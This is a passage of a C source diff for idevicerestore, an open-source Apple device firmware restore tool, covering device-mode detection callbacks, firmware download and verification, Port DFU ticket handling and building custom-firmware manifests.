+ if (client->ignore_device_add_events) {
+ return;
+ }
+ if (normal_check_mode(client) == 0) {
+ mutex_lock(&client->device_event_mutex);
+ client->mode = MODE_NORMAL;
+ logger(LL_DEBUG, "%s: device %016" PRIx64 " (udid: %s) connected in normal mode\n", __func__, client->ecid, client->udid);
+ cond_signal(&client->device_event_cond);
+ mutex_unlock(&client->device_event_mutex);
+ } else if (client->ecid && restore_check_mode(client) == 0) {
+ mutex_lock(&client->device_event_mutex);
+ client->mode = MODE_RESTORE;
+ logger(LL_DEBUG, "%s: device %016" PRIx64 " (udid: %s) connected in restore mode\n", __func__, client->ecid, client->udid);
+ cond_signal(&client->device_event_cond);
+ mutex_unlock(&client->device_event_mutex);
+ }
+ if (!client->device) {
+ client->device = get_irecv_device(client);
+ }
+ } else if (event->event == IDEVICE_DEVICE_REMOVE) {
+ if (client->udid && !strcmp(event->udid, client->udid)) {
+ mutex_lock(&client->device_event_mutex);
+ client->mode = MODE_UNKNOWN;
+ logger(LL_DEBUG, "%s: device %016" PRIx64 " (udid: %s) disconnected\n", __func__, client->ecid, client->udid);
+ client->ignore_device_add_events = 0;
+ cond_signal(&client->device_event_cond);
+ mutex_unlock(&client->device_event_mutex);
+ }
+ }
+}
+
+static void irecv_event_cb(const irecv_device_event_t* event, void *userdata)
+{
+ struct idevicerestore_client_t *client = (struct idevicerestore_client_t*)userdata;
+ if (event->type == IRECV_DEVICE_ADD) {
+ if (!client->udid && !client->ecid) {
+ client->ecid = event->device_info->ecid;
+ }
+ if (client->ecid && event->device_info->ecid == client->ecid) {
+ mutex_lock(&client->device_event_mutex);
+ switch (event->mode) {
+ case IRECV_K_WTF_MODE:
+ client->mode = MODE_WTF;
+ break;
+ case IRECV_K_DFU_MODE:
+ client->mode = MODE_DFU;
+ break;
+ case IRECV_K_PORT_DFU_MODE:
+ client->mode = MODE_PORTDFU;
+ break;
+ case IRECV_K_RECOVERY_MODE_1:
+ case IRECV_K_RECOVERY_MODE_2:
+ case IRECV_K_RECOVERY_MODE_3:
+ case IRECV_K_RECOVERY_MODE_4:
+ client->mode = MODE_RECOVERY;
+ break;
+ default:
+ client->mode = MODE_UNKNOWN;
+ }
+ logger(LL_DEBUG, "%s: device %016" PRIx64 " (udid: %s) connected in %s mode\n", __func__, client->ecid, (client->udid) ? client->udid : "N/A", client->mode->string);
+ if (!client->device) {
+ client->device = get_irecv_device(client);
+ }
+ cond_signal(&client->device_event_cond);
+ mutex_unlock(&client->device_event_mutex);
+ }
+ } else if (event->type == IRECV_DEVICE_REMOVE) {
+ if (client->ecid && event->device_info->ecid == client->ecid) {
+ mutex_lock(&client->device_event_mutex);
+ client->mode = MODE_UNKNOWN;
+ logger(LL_DEBUG, "%s: device %016" PRIx64 " (udid: %s) disconnected\n", __func__, client->ecid, (client->udid) ? client->udid : "N/A");
+ if (event->mode == IRECV_K_PORT_DFU_MODE) {
+ // We have to reset the ECID here if a port DFU device disconnects,
+ // because when the device reconnects in a different mode, it will
+ // have the actual device ECID and wouldn't get detected.
+ client->ecid = 0;
+ }
+ cond_signal(&client->device_event_cond);
+ mutex_unlock(&client->device_event_mutex);
+ }
+ }
+}
+
+int build_identity_check_components_in_ipsw(plist_t build_identity, ipsw_archive_t ipsw);
+
+int idevicerestore_start(struct idevicerestore_client_t* client)
+{
+ int tss_enabled = 0;
+ int result = 0;
+
+ if (!client) {
+ return -1;
+ }
+
+ if ((client->flags & FLAG_LATEST) && (client->flags & FLAG_CUSTOM)) {
+ logger(LL_ERROR, "FLAG_LATEST cannot be used with FLAG_CUSTOM.\n");
+ return -1;
+ }
+
+ if (!client->ipsw && !(client->flags & FLAG_PWN) && !(client->flags & FLAG_LATEST)) {
+ logger(LL_ERROR, "no ipsw file given\n");
+ return -1;
+ }
+
+ if (client->debug_level > 0) {
+ idevicerestore_debug = 1;
+ if (client->debug_level > 1) {
+ irecv_set_debug_level(1);
+ }
+ if (client->debug_level > 2) {
+ idevice_set_debug_level(1);
+ }
+ tss_set_debug_level(client->debug_level);
+ }
+
+ progress_reset_tag();
+
+ idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.0);
+
+ if (!client->irecv_e_ctx) {
+ irecv_device_event_subscribe(&client->irecv_e_ctx, irecv_event_cb, client);
+ }
+
+ if (!client->idevice_e_ctx) {
+ idevice_event_subscribe(idevice_event_cb, client);
+ client->idevice_e_ctx = idevice_event_cb;
+ }
+
+ // check which mode the device is currently in so we know where to start
+ mutex_lock(&client->device_event_mutex);
+ if (client->mode == MODE_UNKNOWN) {
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000);
+ if (client->mode == MODE_UNKNOWN || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to discover device mode. Please make sure a device is attached.\n");
+ return -1;
+ }
+ }
+ idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.1);
+ logger(LL_INFO, "Found device in %s mode\n", client->mode->string);
+ mutex_unlock(&client->device_event_mutex);
+
+ if (client->mode == MODE_WTF) {
+ unsigned int cpid = 0;
+
+ if (dfu_client_new(client) != 0) {
+ logger(LL_ERROR, "Could not open device in WTF mode\n");
+ return -1;
+ }
+ if ((dfu_get_cpid(client, &cpid) < 0) || (cpid == 0)) {
+ logger(LL_ERROR, "Could not get CPID for WTF mode device\n");
+ dfu_client_free(client);
+ return -1;
+ }
+
+ char wtfname[256];
+ snprintf(wtfname, sizeof(wtfname), "Firmware/dfu/WTF.s5l%04xxall.RELEASE.dfu", cpid);
+ void* wtftmp = NULL;
+ size_t wtfsize = 0;
+
+ // Prefer to get WTF file from the restore IPSW
+ ipsw_extract_to_memory(client->ipsw, wtfname, &wtftmp, &wtfsize);
+ if (!wtftmp) {
+ // update version data (from cache, or apple if too old)
+ load_version_data(client);
+
+ // Download WTF IPSW
+ char* s_wtfurl = NULL;
+ plist_t wtfurl = plist_access_path(client->version_data, 7, "MobileDeviceSoftwareVersionsByVersion", "5", "RecoverySoftwareVersions", "WTF", "304218112", "5", "FirmwareURL");
+ if (wtfurl && (plist_get_node_type(wtfurl) == PLIST_STRING)) {
+ plist_get_string_val(wtfurl, &s_wtfurl);
+ }
+ if (!s_wtfurl) {
+ logger(LL_INFO, "Using hardcoded x12220000_5_Recovery.ipsw URL\n");
+ s_wtfurl = strdup("http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-6618.20090617.Xse7Y/x12220000_5_Recovery.ipsw");
+ }
+
+ // make a local file name
+ char* fnpart = strrchr(s_wtfurl, '/');
+ if (!fnpart) {
+ fnpart = (char*)"x12220000_5_Recovery.ipsw";
+ } else {
+ fnpart++;
+ }
+ struct stat fst;
+ char wtfipsw[1024];
+ if (client->cache_dir) {
+ if (stat(client->cache_dir, &fst) < 0) {
+ mkdir_with_parents(client->cache_dir, 0755);
+ }
+ strcpy(wtfipsw, client->cache_dir);
+ strcat(wtfipsw, "/");
+ strcat(wtfipsw, fnpart);
+ } else {
+ strcpy(wtfipsw, fnpart);
+ }
+ if (stat(wtfipsw, &fst) != 0) {
+ download_to_file(s_wtfurl, wtfipsw, 0);
+ }
+
+ ipsw_archive_t wtf_ipsw = ipsw_open(wtfipsw);
+ ipsw_extract_to_memory(wtf_ipsw, wtfname, &wtftmp, &wtfsize);
+ ipsw_close(wtf_ipsw);
+ if (!wtftmp) {
+ logger(LL_ERROR, "Could not extract WTF\n");
+ }
+ }
+
+ mutex_lock(&client->device_event_mutex);
+ if (wtftmp) {
+ if (dfu_send_buffer(client, wtftmp, wtfsize) != 0) {
+ logger(LL_ERROR, "Could not send WTF...\n");
+ }
+ }
+ dfu_client_free(client);
+
+ free(wtftmp);
+
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000);
+ if (client->mode != MODE_DFU || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ /* TODO: verify if it actually goes from 0x1222 -> 0x1227 */
+ logger(LL_ERROR, "Failed to put device into DFU from WTF mode\n");
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+ }
+
+ // discover the device type
+ client->device = get_irecv_device(client);
+ if (client->device == NULL) {
+ logger(LL_ERROR, "Unable to discover device type\n");
+ return -1;
+ }
+ if (client->ecid == 0) {
+ logger(LL_ERROR, "Unable to determine ECID\n");
+ return -1;
+ }
+ logger(LL_INFO, "ECID: %" PRIu64 "\n", client->ecid);
+
+ idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.2);
+ logger(LL_INFO, "Identified device as %s, %s\n", client->device->hardware_model, client->device->product_type);
+
+ if ((client->flags & FLAG_PWN) && (client->mode != MODE_DFU)) {
+ logger(LL_ERROR, "you need to put your device into DFU mode to pwn it.\n");
+ return -1;
+ }
+
+ if (client->mode == MODE_NORMAL) {
+ plist_t pver = normal_get_lockdown_value(client, NULL, "ProductVersion");
+ if (pver) {
+ plist_get_string_val(pver, &client->device_version);
+ plist_free(pver);
+ }
+ pver = normal_get_lockdown_value(client, NULL, "BuildVersion");
+ if (pver) {
+ plist_get_string_val(pver, &client->device_build);
+ plist_free(pver);
+ }
+ }
+ logger(LL_INFO, "Device Product Version: %s\n", (client->device_version) ? client->device_version : "N/A");
+ logger(LL_INFO, "Device Product Build: %s\n", (client->device_build) ? client->device_build : "N/A");
+
+ if (client->flags & FLAG_PWN) {
+#ifdef HAVE_LIMERA1N
+ recovery_client_free(client);
+
+ if (client->mode != MODE_DFU) {
+ logger(LL_ERROR, "Device needs to be in DFU mode for this option.\n");
+ return -1;
+ }
+
+ logger(LL_INFO, "connecting to DFU\n");
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+
+ if (limera1n_is_supported(client->device)) {
+ logger(LL_INFO, "exploiting with limera1n...\n");
+ if (limera1n_exploit(client->device, &client->dfu->client) != 0) {
+ logger(LL_ERROR, "limera1n exploit failed\n");
+ dfu_client_free(client);
+ return -1;
+ }
+ dfu_client_free(client);
+ logger(LL_INFO, "Device should be in pwned DFU state now.\n");
+
+ return 0;
+ }
+ else {
+ dfu_client_free(client);
+ logger(LL_ERROR, "This device is not supported by the limera1n exploit");
+ return -1;
+ }
+#endif
+ }
+
+ if (client->flags & FLAG_LATEST) {
+ char *fwurl = NULL;
+ unsigned char fwsha1[20];
+ unsigned char *p_fwsha1 = NULL;
+ plist_t signed_fws = NULL;
+ int res = ipsw_get_signed_firmwares(client->device->product_type, &signed_fws);
+ if (res < 0) {
+ logger(LL_ERROR, "Could not fetch list of signed firmwares.\n");
+ return res;
+ }
+ uint32_t count = plist_array_get_size(signed_fws);
+ if (count == 0) {
+ plist_free(signed_fws);
+ logger(LL_ERROR, "No firmwares are currently being signed for %s (REALLY?!)\n", client->device->product_type);
+ return -1;
+ }
+ plist_t selected_fw = NULL;
+ if (client->flags & FLAG_INTERACTIVE) {
+ uint32_t i = 0;
+ logger(LL_INFO, "The following firmwares are currently being signed for %s:\n", client->device->product_type);
+ for (i = 0; i < count; i++) {
+ plist_t fw = plist_array_get_item(signed_fws, i);
+ plist_t p_version = plist_dict_get_item(fw, "version");
+ plist_t p_build = plist_dict_get_item(fw, "buildid");
+ logger(LL_INFO, " [%d] %s (build %s)\n", i+1, plist_get_string_ptr(p_version, NULL), plist_get_string_ptr(p_build, NULL));
+ }
+ while (1) {
+ char input[64];
+ printf("Select the firmware you want to restore: ");
+ fflush(stdout);
+ fflush(stdin);
+ get_user_input(input, 63, 0);
+ if (*input == '\0') {
+ plist_free(signed_fws);
+ return -1;
+ }
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+ unsigned long selected = strtoul(input, NULL, 10);
+ if (selected == 0 || selected > count) {
+ printf("Invalid input value. Must be in range: 1..%u\n", count);
+ continue;
+ }
+ selected_fw = plist_array_get_item(signed_fws, (uint32_t)selected-1);
+ break;
+ }
+ } else {
+ logger(LL_NOTICE, "Running non-interactively, automatically selecting latest available version\n");
+ selected_fw = plist_array_get_item(signed_fws, 0);
+ }
+ if (!selected_fw) {
+ logger(LL_ERROR, "failed to select latest firmware?!\n");
+ plist_free(signed_fws);
+ return -1;
+ } else {
+ plist_t p_version = plist_dict_get_item(selected_fw, "version");
+ plist_t p_build = plist_dict_get_item(selected_fw, "buildid");
+ logger(LL_NOTICE, "Selected firmware %s (build %s)\n", plist_get_string_ptr(p_version, NULL), plist_get_string_ptr(p_build, NULL));
+ plist_t p_url = plist_dict_get_item(selected_fw, "url");
+ plist_t p_sha1 = plist_dict_get_item(selected_fw, "sha1sum");
+ char *s_sha1 = NULL;
+ plist_get_string_val(p_url, &fwurl);
+ plist_get_string_val(p_sha1, &s_sha1);
+ if (strlen(s_sha1) == 40) {
+ int i;
+ int v;
+ for (i = 0; i < 40; i+=2) {
+ v = 0;
+ sscanf(s_sha1+i, "%02x", &v);
+ fwsha1[i/2] = (unsigned char)v;
+ }
+ p_fwsha1 = &fwsha1[0];
+ } else {
+ logger(LL_ERROR, "unexpected size of sha1sum\n");
+ }
+ }
+ plist_free(signed_fws);
+
+ if (!fwurl || !p_fwsha1) {
+ logger(LL_ERROR, "Missing firmware URL or SHA1\n");
+ return -1;
+ }
+
+ char* ipsw = NULL;
+ res = ipsw_download_fw(fwurl, p_fwsha1, client->cache_dir, &ipsw);
+ if (res != 0) {
+ free(ipsw);
+ return res;
+ } else {
+ client->ipsw = ipsw_open(ipsw);
+ if (!client->ipsw) {
+ logger(LL_ERROR, "Failed to open ipsw '%s'\n", ipsw);
+ free(ipsw);
+ return -1;
+ }
+ free(ipsw);
+ }
+ }
+ idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.6);
+
+ if (client->flags & FLAG_NOACTION) {
+ return 0;
+ }
+
+ // extract buildmanifest
+ if (client->flags & FLAG_CUSTOM) {
+ logger(LL_INFO, "Extracting Restore.plist from IPSW\n");
+ if (ipsw_extract_restore_plist(client->ipsw, &client->build_manifest) < 0) {
+ logger(LL_ERROR, "Unable to extract Restore.plist from %s. Firmware file might be corrupt.\n", client->ipsw->path);
+ return -1;
+ }
+ } else {
+ logger(LL_INFO, "Extracting BuildManifest from IPSW\n");
+ if (ipsw_extract_build_manifest(client->ipsw, &client->build_manifest, &tss_enabled) < 0) {
+ logger(LL_ERROR, "Unable to extract BuildManifest from %s. Firmware file might be corrupt.\n", client->ipsw->path);
+ return -1;
+ }
+ }
+
+ if (client->flags & FLAG_CUSTOM) {
+ // prevent attempt to sign custom firmware
+ tss_enabled = 0;
+ logger(LL_INFO, "Custom firmware requested; TSS has been disabled.\n");
+ }
+
+ if (client->mode == MODE_RESTORE) {
+ if (!(client->flags & FLAG_ALLOW_RESTORE_MODE)) {
+ if (restore_reboot(client) < 0) {
+ logger(LL_ERROR, "Unable to exit restore mode\n");
+ return -2;
+ }
+
+ // we need to refresh the current mode again
+ mutex_lock(&client->device_event_mutex);
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000);
+ if (client->mode == MODE_UNKNOWN || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to discover device mode. Please make sure a device is attached.\n");
+ return -1;
+ }
+ logger(LL_INFO, "Found device in %s mode\n", client->mode->string);
+ mutex_unlock(&client->device_event_mutex);
+ }
+ }
+
+ if (client->mode == MODE_PORTDFU) {
+ unsigned int pdfu_bdid = 0;
+ unsigned int pdfu_cpid = 0;
+ unsigned int prev = 0;
+
+ if (dfu_get_bdid(client, &pdfu_bdid) < 0) {
+ logger(LL_ERROR, "Failed to get bdid for Port DFU device!\n");
+ return -1;
+ }
+ if (dfu_get_cpid(client, &pdfu_cpid) < 0) {
+ logger(LL_ERROR, "Failed to get cpid for Port DFU device!\n");
+ return -1;
+ }
+ if (dfu_get_prev(client, &prev) < 0) {
+ logger(LL_ERROR, "Failed to get PREV for Port DFU device!\n");
+ return -1;
+ }
+
+ unsigned char* pdfu_nonce = NULL;
+ unsigned int pdfu_nsize = 0;
+ if (dfu_get_portdfu_nonce(client, &pdfu_nonce, &pdfu_nsize) < 0) {
+ logger(LL_ERROR, "Failed to get nonce for Port DFU device!\n");
+ return -1;
+ }
+
+ plist_t build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_ERASE_INSTALL, 0);
+ if (!build_identity) {
+ logger(LL_ERROR, "ERORR: Failed to get build identity\n");
+ return -1;
+ }
+
+ unsigned int b_pdfu_cpid = (unsigned int)plist_dict_get_uint(build_identity, "USBPortController1,ChipID");
+ if (b_pdfu_cpid != pdfu_cpid) {
+ logger(LL_ERROR, "cpid 0x%02x doesn't match USBPortController1,ChipID in build identity (0x%02x)\n", pdfu_cpid, b_pdfu_cpid);
+ return -1;
+ }
+ unsigned int b_pdfu_bdid = (unsigned int)plist_dict_get_uint(build_identity, "USBPortController1,BoardID");
+ if (b_pdfu_bdid != pdfu_bdid) {
+ logger(LL_ERROR, "bdid 0x%x doesn't match USBPortController1,BoardID in build identity (0x%x)\n", pdfu_bdid, b_pdfu_bdid);
+ return -1;
+ }
+
+ plist_t parameters = plist_new_dict();
+ plist_dict_set_item(parameters, "@USBPortController1,Ticket", plist_new_bool(1));
+ plist_dict_set_item(parameters, "USBPortController1,ECID", plist_new_int(client->ecid));
+ plist_dict_copy_item(parameters, build_identity, "USBPortController1,BoardID", NULL);
+ plist_dict_copy_item(parameters, build_identity, "USBPortController1,ChipID", NULL);
+ plist_dict_copy_item(parameters, build_identity, "USBPortController1,SecurityDomain", NULL);
+ plist_dict_set_item(parameters, "USBPortController1,SecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "USBPortController1,ProductionMode", plist_new_bool(1));
+ int is_mac = plist_access_path(build_identity, 2, "Info", "MacOSVariant") != NULL;
+ plist_t usbf = plist_access_path(build_identity, 2, "Manifest", "USBPortController1,USBFirmware");
+ if (!usbf) {
+ plist_free(parameters);
+ logger(LL_ERROR, "Unable to find USBPortController1,USBFirmware in build identity\n");
+ return -1;
+ }
+ plist_t p_fwpath = plist_access_path(usbf, 2, "Info", "Path");
+ if (!p_fwpath) {
+ plist_free(parameters);
+ logger(LL_ERROR, "Unable to find path of USBPortController1,USBFirmware component\n");
+ return -1;
+ }
+ const char* fwpath = plist_get_string_ptr(p_fwpath, NULL);
+ if (!fwpath) {
+ plist_free(parameters);
+ logger(LL_ERROR, "Unable to get path of USBPortController1,USBFirmware component\n");
+ return -1;
+ }
+ void* uarp_buf = NULL;
+ size_t uarp_size = 0;
+ if (ipsw_extract_to_memory(client->ipsw, fwpath, &uarp_buf, &uarp_size) < 0) {
+ plist_free(parameters);
+ logger(LL_ERROR, "Unable to extract '%s' from IPSW\n", fwpath);
+ return -1;
+ }
+ usbf = plist_copy(usbf);
+ plist_dict_remove_item(usbf, "Info");
+ plist_dict_set_item(parameters, "USBPortController1,USBFirmware", usbf);
+ plist_dict_set_item(parameters, "USBPortController1,Nonce", plist_new_data((const char*)pdfu_nonce, pdfu_nsize));
+
+ plist_t request = tss_request_new(NULL);
+ if (request == NULL) {
+ plist_free(parameters);
+ logger(LL_ERROR, "Unable to create TSS request\n");
+ return -1;
+ }
+ plist_dict_merge(&request, parameters);
+ plist_free(parameters);
+
+ // send request and grab response
+ plist_t response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to send TSS request\n");
+ return -1;
+ }
+ logger(LL_INFO, "Received USBPortController1,Ticket\n");
+
+ logger(LL_INFO, "Creating Ace3Binary\n");
+ void* ace3bin = NULL;
+ size_t ace3bin_size = 0;
+ if (ace3_create_binary(uarp_buf, uarp_size, pdfu_bdid, prev, response, &ace3bin, &ace3bin_size) < 0) {
+ logger(LL_ERROR, "Could not create Ace3Binary\n");
+ return -1;
+ }
+ plist_free(response);
+ free(uarp_buf);
+
+ if (client->flags & FLAG_KEEP_PERS) {
+ write_file("Ace3Binary", ace3bin, ace3bin_size);
+ }
+
+ if (dfu_send_buffer_with_options(client, ace3bin, ace3bin_size, IRECV_SEND_OPT_DFU_NOTIFY_FINISH | IRECV_SEND_OPT_DFU_SMALL_PKT) < 0) {
+ logger(LL_ERROR, "Could not send Ace3Buffer to device\n");
+ return -1;
+ }
+
+ logger(LL_DEBUG, "Waiting for device to disconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 5000);
+ if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not disconnect. Port DFU failed.\n");
+ }
+ return -2;
+ }
+ dfu_client_free(client);
+ logger(LL_DEBUG, "Waiting for device to reconnect in DFU mode...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 20000);
+ if (client->mode != MODE_DFU || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not reconnect in DFU mode. Port DFU failed.\n");
+ if (is_mac) {
+ logger(LL_ERROR, "Make sure to use the correct USB port for this model, see https://support.apple.com/120694\n");
+ }
+ }
+ return -2;
+ }
+ mutex_unlock(&client->device_event_mutex);
+
+ if (client->flags & FLAG_NOACTION) {
+ logger(LL_INFO, "Port DFU restore successful.\n");
+ return 0;
+ } else {
+ logger(LL_INFO, "Port DFU restore successful. Continuing.\n");
+ }
+ }
+
+ idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.8);
+
+ /* check if device type is supported by the given build manifest */
+ if (build_manifest_check_compatibility(client->build_manifest, client->device->product_type) < 0) {
+ logger(LL_ERROR, "Could not make sure this firmware is suitable for the current device. Refusing to continue.\n");
+ return -1;
+ }
+
+ /* print iOS information from the manifest */
+ build_manifest_get_version_information(client->build_manifest, client);
+
+ logger(LL_INFO, "IPSW Product Version: %s\n", client->version);
+ logger(LL_INFO, "IPSW Product Build: %s Major: %d\n", client->build, client->build_major);
+
+ client->image4supported = is_image4_supported(client);
+ logger(LL_INFO, "Device supports Image4: %s\n", (client->image4supported) ? "true" : "false");
+
+ // choose whether this is an upgrade or a restore (default to upgrade)
+ client->tss = NULL;
+ plist_t build_identity = NULL;
+ int build_identity_needs_free = 0;
+ if (client->flags & FLAG_CUSTOM) {
+ build_identity = plist_new_dict();
+ build_identity_needs_free = 1;
+ {
+ plist_t node;
+ plist_t comp;
+ plist_t inf;
+ plist_t manifest;
+
+ char tmpstr[256];
+ char p_all_flash[128];
+ char lcmodel[8];
+ strcpy(lcmodel, client->device->hardware_model);
+ int x = 0;
+ while (lcmodel[x]) {
+ lcmodel[x] = tolower(lcmodel[x]);
+ x++;
+ }
+
+ snprintf(p_all_flash, sizeof(p_all_flash), "Firmware/all_flash/all_flash.%s.%s", lcmodel, "production");
+ strcpy(tmpstr, p_all_flash);
+ strcat(tmpstr, "/manifest");
+
+ // get all_flash file manifest
+ char *files[16];
+ void *fmanifest = NULL;
+ size_t msize = 0;
+ if (ipsw_extract_to_memory(client->ipsw, tmpstr, &fmanifest, &msize) < 0) {
+ logger(LL_ERROR, "could not extract %s from IPSW\n", tmpstr);
+ free(build_identity);
+ return -1;
+ }
+
+ char *tok = strtok(fmanifest, "\r\n");
+ int fc = 0;
+ while (tok) {
+ files[fc++] = strdup(tok);
+ if (fc >= 16) {
+ break;
+ }
+ tok = strtok(NULL, "\r\n");
+ }
+ free(fmanifest);
+
+ manifest = plist_new_dict();
+
+ for (x = 0; x < fc; x++) {
+ inf = plist_new_dict();
+ strcpy(tmpstr, p_all_flash);
+ strcat(tmpstr, "/");
+ strcat(tmpstr, files[x]);
+ plist_dict_set_item(inf, "Path", plist_new_string(tmpstr));
+ comp = plist_new_dict();
+ plist_dict_set_item(comp, "Info", inf);
+ const char* compname = get_component_name(files[x]);
+ if (compname) {
+ plist_dict_set_item(manifest, compname, comp);
+ if (!strncmp(files[x], "DeviceTree", 10)) {
+ plist_dict_set_item(manifest, "RestoreDeviceTree", plist_copy(comp));
+ }
+ } else {
+ logger(LL_WARNING, "Unhandled component %s\n", files[x]);
+ plist_free(comp);
+ }
+ free(files[x]);
+ files[x] = NULL;
+ }
+
+ // add iBSS
+ snprintf(tmpstr, sizeof(tmpstr), "Firmware/dfu/iBSS.%s.%s.dfu", lcmodel, "RELEASE");
+ inf = plist_new_dict();
+ plist_dict_set_item(inf, "Path", plist_new_string(tmpstr));
+ comp = plist_new_dict();
+ plist_dict_set_item(comp, "Info", inf);
+ plist_dict_set_item(manifest, "iBSS", comp);
+
+ // add iBEC
+ snprintf(tmpstr, sizeof(tmpstr), "Firmware/dfu/iBEC.%s.%s.dfu", lcmodel, "RELEASE");
+ inf = plist_new_dict();
+ plist_dict_set_item(inf, "Path", plist_new_string(tmpstr));
+ comp = plist_new_dict();
+ plist_dict_set_item(comp, "Info", inf);
+ plist_dict_set_item(manifest, "iBEC", comp);
+
+ // add kernel cache
+ plist_t kdict = NULL;
+
+ node = plist_dict_get_item(client->build_manifest, "KernelCachesByTarget");
+ if (node && (plist_get_node_type(node) == PLIST_DICT)) {
+ char tt[4];
+ strncpy(tt, lcmodel, 3);
+ tt[3] = 0;
+ kdict = plist_dict_get_item(node, tt);
+ } else {
+ // Populated in older iOS IPSWs
+ kdict = plist_dict_get_item(client->build_manifest, "RestoreKernelCaches");
+ }
+ if (kdict && (plist_get_node_type(kdict) == PLIST_DICT)) {
+ plist_t kc = plist_dict_get_item(kdict, "Release");
+ if (kc && (plist_get_node_type(kc) == PLIST_STRING)) {
+ inf = plist_new_dict();
+ plist_dict_set_item(inf, "Path", plist_copy(kc));
+ comp = plist_new_dict();
+ plist_dict_set_item(comp, "Info", inf);
+ plist_dict_set_item(manifest, "KernelCache", comp);
+ plist_dict_set_item(manifest, "RestoreKernelCache", plist_copy(comp));
+ }
+ }
+
+ // add ramdisk
+ node = plist_dict_get_item(client->build_manifest, "RestoreRamDisks");
+ if (node && (plist_get_node_type(node) == PLIST_DICT)) {
+ plist_t rd = plist_dict_get_item(node, (client->flags & FLAG_ERASE) ? "User" : "Update");
+ // if no "Update" ram disk entry is found try "User" ram disk instead
+ if (!rd && !(client->flags & FLAG_ERASE)) {
+ rd = plist_dict_get_item(node, "User");
+ // also, set the ERASE flag since we actually change the restore variant
+ client->flags |= FLAG_ERASE;
+ }
+ if (rd && (plist_get_node_type(rd) == PLIST_STRING)) {
+ inf = plist_new_dict();
+ plist_dict_set_item(inf, "Path", plist_copy(rd));
+ comp = plist_new_dict();
+ plist_dict_set_item(comp, "Info", inf);
+ plist_dict_set_item(manifest, "RestoreRamDisk", comp);
+ }
+ }
+
+ // add OS filesystem
+ node = plist_dict_get_item(client->build_manifest, "SystemRestoreImages");
+ if (!node) {
+ logger(LL_ERROR, "missing SystemRestoreImages in Restore.plist\n");
+ }
+ plist_t os = plist_dict_get_item(node, "User");
+ if (!os) {
+ logger(LL_ERROR, "missing filesystem in Restore.plist\n");
+ } else {
+ inf = plist_new_dict();
+ plist_dict_set_item(inf, "Path", plist_copy(os));
+ comp = plist_new_dict();
+ plist_dict_set_item(comp, "Info", inf);
+ plist_dict_set_item(manifest, "OS", comp);
+ }
+
+ // add info
+ inf = plist_new_dict();
+ plist_dict_set_item(inf, "RestoreBehavior", plist_new_string((client->flags & FLAG_ERASE) ? "Erase" : "Update"));
+ plist_dict_set_item(inf, "Variant", plist_new_string((client->flags & FLAG_ERASE) ? "Customer " RESTORE_VARIANT_ERASE_INSTALL : "Customer " RESTORE_VARIANT_UPGRADE_INSTALL));
+ plist_dict_set_item(build_identity, "Info", inf);
+
+ // finally add manifest
+ plist_dict_set_item(build_identity, "Manifest", manifest);
+ }
+ } else if (client->restore_variant) {
+ build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, client->restore_variant, 1);
+ } else if (client->flags & FLAG_ERASE) {
+ build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_ERASE_INSTALL, 0);
+ } else {
+ build_identity = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_UPGRADE_INSTALL, 0);
+ if (!build_identity) {
+ build_identity = build_manifest_get_build_identity_for_model(client->build_manifest, client->device->hardware_model);
+ }
+ }
+ if (build_identity == NULL) {
+ logger(LL_ERROR, "Unable to find a matching build identity\n");
+ return -1;
+ }
+
+ client->macos_variant = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, RESTORE_VARIANT_MACOS_RECOVERY_OS, 1);
+
+ /* print information about current build identity */
+ build_identity_print_information(build_identity);
+
+ if (client->macos_variant) {
+ logger(LL_INFO, "Performing macOS restore\n");
+ }
+
+ if (client->mode == MODE_NORMAL && !(client->flags & FLAG_ERASE) && !(client->flags & FLAG_SHSHONLY)) {
+ if (client->device_version && (compare_versions(client->device_version, client->version) > 0)) {
+ if (client->flags & FLAG_INTERACTIVE) {
+ char msgtext[512];
+ snprintf(msgtext, 512, "You are trying to DOWNGRADE a %s device with an IPSW for %s while\n"
+ "trying to preserve the user data (Upgrade restore). This *might* work, but\n"
+ "there is a VERY HIGH chance it might FAIL BADLY with COMPLETE DATA LOSS.\n"
+ "If you want to take the risk (and have a backup of your important data!) you may continue.\n"
+ "You have been warned.\n", client->device_version, client->version);
+ int pres = prompt_user("WARNING", msgtext);
+ if (pres < 0) {
+ client->flags |= FLAG_QUIT;
+ return -1;
+ }
+ }
+ }
+ }
+
+ if (client->flags & FLAG_ERASE && client->flags & FLAG_INTERACTIVE) {
+ int pres = prompt_user(
+ "WARNING",
